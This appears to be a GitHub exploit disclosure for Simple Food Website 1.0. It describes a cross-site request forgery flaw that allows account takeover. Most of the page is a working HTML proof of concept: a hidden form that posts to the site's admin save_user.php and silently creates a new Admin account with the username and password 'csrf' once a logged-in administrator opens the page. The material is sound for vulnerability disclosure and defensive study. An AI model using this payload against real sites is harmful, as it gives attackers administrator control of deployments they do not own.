

main ▾

...

## bugsdisclose / csrf



offsecin Lumidek Associates Simple Food Website 1.0 is vulnerable to Cross Site

[History](#)

1 contributor

25 lines (22 sloc) | 1.19 KB

...

```

1  # Exploit Title: Simple Food Website 1.0 : Account Takeover via CSRF
2
3  ### Date: 25-04-2022
4  ### Exploit Author: Saket Saurav
5  ### Vendor Homepage: https://www.sourcecodester.com/php/12510/simple-food-website-php.html
6  ### Software Link: https://www.sourcecodester.com/download-code?nid=12510&title=Simple+Food+Websit
7  ### Version: 1.0
8  ### Tested on: Kali Linux 2020
9  ### Description : An attacker will send the specially crafted HTML page to the Admin. If the admin
10
11
12  Below is the POC (exploit.html)
13  <html>
14      <!-- CSRF PoC - generated by saket saurav -->
15      <body>
16          <script>history.pushState('', '', '/')</script>
17          <form action="http://127.0.0.1/food/admin/save_user.php" method="POST" enctype="multipart/form
18              <input type="hidden" name="full&#95;name" value="csrf&#32;user" />
19              <input type="hidden" name="username" value="csrf" />
20              <input type="hidden" name="password" value="csrf" />
21              <input type="hidden" name="position" value="Admin" />
22              <input type="submit" value="Submit request" />
23          </form>
24      </body>
25  </html>

```